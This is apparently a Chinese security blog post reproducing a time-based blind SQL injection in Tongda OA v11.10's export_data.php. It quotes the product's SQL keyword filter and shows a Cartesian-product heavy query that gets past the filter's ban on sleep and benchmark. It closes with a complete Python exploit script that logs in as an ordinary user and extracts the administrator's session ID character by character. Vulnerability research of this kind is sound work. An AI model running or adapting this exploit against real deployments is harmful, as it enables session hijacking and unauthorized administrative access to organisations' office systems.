通达OA v11.10 sql注入漏洞复现

某达oa代码审计 (qq.com)

影响版本:通达OA v11.10版 服务器端

一、export_data.php 延迟注入

1、代码审计

漏洞定位:/general/system/approve_center/flow_data/export_data.php

在/export_data.php中POST接收了d_name参数,并且在后面的代码中直接进行了参数拼接。

image-20220228110630640

2、测试流程

在通达OA数据库中找到data_开头的表来进行测试,这里面只有data_src表符合要求

/general下的路由都需要进行登录才能正常访问,接下来的测试使用普通用户进行测试

开启mysql日志

image-20220228111706014

image-20220228160234313

在数据库日志中可以看见执行的语句

image-20220228161143657

应为无回显,尝试使用时间注入

image-20220228161618802

通达OA v11.10中存在全局过滤器,其内容如下所示:

function sql_injection($db_string)
{
    $clean = "";
    $error = "";
    $old_pos = 0;
    $pos = -1;
    $db_string = str_replace(array("''", "\'"), "", $db_string);
    $db_string = preg_replace("/`[^,=\(\)]*'[^,=\(\)]*`/", "", $db_string);

    while (true) {
        $pos = strpos($db_string, "'", $pos + 1);

        if ($pos === false) {
            break;
        }

        $clean .= substr($db_string, $old_pos, $pos - $old_pos);

        while (true) {
            $pos1 = strpos($db_string, "'", $pos + 1);
            $pos2 = strpos($db_string, "\\", $pos + 1);

            if ($pos1 === false) {
                break;
            }
            else {
                if (($pos2 == false) || ($pos1 < $pos2)) {
                    $pos = $pos1;
                    break;
                }
            }

            $pos = $pos2 + 1;
        }

        $clean .= "\$s\$";
        $old_pos = $pos + 1;
    }

    $clean .= substr($db_string, $old_pos);
    $clean = trim(strtolower(preg_replace(array("/\s+/s"), array(" "), $clean)));
    $fail = false;
    $matches = array();
    if ((2 < strpos($clean, "/*")) || (strpos($clean, "--") !== false) || (strpos($clean, "#") !== false)) {
        $fail = true;
        $error = _("注释代码");
    }
    else if (preg_match("/(^|[^a-z])union(\s+[a-z]*)*\s+select($|[^[a-z])/s", $clean) != 0) {
        $fail = true;
        $error = _("联合查询");
    }
    else if (preg_match("/(^|[^a-z])(sleep|benchmark|load_file|mid|ord|ascii|extractvalue|updatexml|exp|current_user)\s*\(/s", $clean, $matches) != 0) {
        $fail = true;
        $error = $matches[2];
    }
    else if (preg_match("/(^|[^a-z])into\s+outfile($|[^[a-z])/s", $clean) != 0) {
        $fail = true;
        $error = _("生成文件");
    }
    else if (preg_match("/.*update.+user.+set.+file_priv.*/s", $clean) != 0) {
        $fail = true;
        $error = "set file_priv";
    }
    else if (preg_match("/.*set.+general_log.*/s", $clean) != 0) {
        $fail = true;
        $error = "general_log";
    }

    if ($fail) {
        echo _("不安全的SQL语句:") . $error . "<br />";
        echo td_htmlspecialchars($db_string);
        exit();
    }
}

但是当我们没有办法使用 sleep(50000)—->睡眠benchmark(10000000,md5(‘a’))—->测试函数执行速度 的时候我们还能用Heavy Query 笛卡尔积来实现我们的目的。

通达OA的是数据库名为td_oa, 't'的十进制ascii为116,在执行命令的时候可以明显发现执行时间的延长。

image-20220228162408364

将116改为115时延时注入就会失败。

image-20220228162442619

3、payload

写个脚本来盲注获取管理员的session

import re
from turtle import st
import requests
import datetime
import time
import threading
import string

# d_name=src where d_id=1 and (substr(DATABASE(),1,1))=char(115) and (select count(*) from information_schema.columns A,information_schema.columns B)

session = requests.session()
url = "http://172.16.10.8:8000"
head = {
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
}

def getLoginSession():
    data = "UNAME=lijia&PASSWORD=5368677fec9d199757f33005c605f9f5e0dfec7bb3ff28f7831e49ff1b9581036ec0e0e144b854660111a7b8a8fb413d2d16ebe5477759017da1bb87d75e9721a0cd03a2ae9496b85a09a1e4866feca4982fce6b9250595c7db0ebf55e9b40b5a504702de16b6e4a4846fff5f8fef4c7562a418e74d8f7fda62c2a0f83ea9269&encode_type=1"
    urls = url + "/logincheck.php"
    res = session.post(urls,data=data,headers=head)
    if "正在进入OA系统,请稍候..." in res.text:
        print("登录成功")
    else:
        print(res.text)

def blindNoteTest():
    urls = url + "/general/system/approve_center/flow_data/export_data.php"
    data= "d_name=src where d_id=1 and (substr(DATABASE(),1,1))=char(116) and (select count(*) from information_schema.columns A,information_schema.columns B)"
    res = session.post(urls,data=data,headers=head)
    time = res.elapsed.microseconds
    print(time)
    if time > 150000:
        print("延迟注入测试成功") 

def blindNote():
    inject_session = ""
    chars =  string.digits + string.ascii_letters
    urls = url + "/general/system/approve_center/flow_data/export_data.php"
    lenght = 1
    print("开始延时注入")
    for i in range(1,27):
        for s in chars:
            payload = "d_name=src where d_id=1 and (substr((select SID from user_online where UID=1)," + str(lenght) +",1))=char(" + str(ord(s)) + ") and (select count(*) from information_schema.columns A,information_schema.columns B)"
            result = session.post(url=urls,data=payload,headers=head)
            time = result.elapsed.microseconds
            if time > 150000:
                lenght += 1
                inject_session = inject_session + str(s)
                print(inject_session)
                break

if __name__ == '__main__':
    getLoginSession()
    blindNoteTest()
    blindNote()

image-20220301101321802

image-20220301101435449

评论

  1. 666
    Windows Chrome
    5月前
    2022-4-28 11:08:27

    大佬大佬,啥时候,教我口算md5

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇